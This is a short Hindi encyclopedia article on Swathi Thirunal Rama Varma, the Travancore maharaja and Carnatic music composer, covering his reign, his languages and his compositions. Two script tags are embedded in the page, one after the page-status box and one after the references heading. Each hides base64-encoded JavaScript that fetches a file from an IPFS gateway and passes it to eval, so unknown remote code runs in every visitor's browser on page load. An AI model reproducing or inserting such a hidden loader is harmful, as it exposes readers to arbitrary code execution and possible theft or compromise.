स्वाति तिरुनल

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 08:45, 23 जून 2014 का अवतरण (''''स्वाति तिरुनल रामा वर्मा''' (जन्म- 13 अप्रैल, 1813, त्राव...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

स्वाति तिरुनल रामा वर्मा (जन्म- 13 अप्रैल, 1813, त्रावणकोर, केरल; मृत्यु- 25 दिसम्बर, 1846) त्रावणकोर (वर्तमान तिरुवंगूर, केरल) के महाराजा थे। ये दक्षिण भारतीय कर्नाटक संगीत परंपरा के सर्वोत्कृष्ट संगीतज्ञों में से एक थे।

  • मात्र 16 वर्ष की आयु में ही स्वाति तिरुनल दक्षिण भारतीय राज्य के शासक बन थे।
  • अपने शासन काल के समय में कला के महानतम संरक्षकों में वह गिने जाते थे।
  • स्वाति तिरुनल स्वयं भी 10 से अधिक भाषाओं में पारंगत थे, जिनमें संस्कृत, तेलुगू, कन्नड़, मराठी, हिन्दी और अंग्रेज़ी शामिल थीं। वह इन भाषाओं में कविताएँ लिखते थे।
  • चित्रकला, शिल्पकारी और अन्य कलाओं में भी स्वाति तिरुनल काफ़ी निपुण थे। माना जाता है कि उन्होंने लगभग 500 गीतों की रचना की थी।
  • 'वर्णम', 'कृति', 'स्वरजाति', 'पदम' और 'जवाली' के साथ-साथ उन्होंने दो गीति-नाट्यों की भी रचना की थी।
  • स्वाति तिरुनल ने कई ध्रुपद, ख़याल और ठुमरियों की भी रचना की, लेकिन उन्हें कर्नाटक संगीत, विशेषकर 'पदम' (प्रेम गीत) के लिए सबसे अधिक ख्याति मिली।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>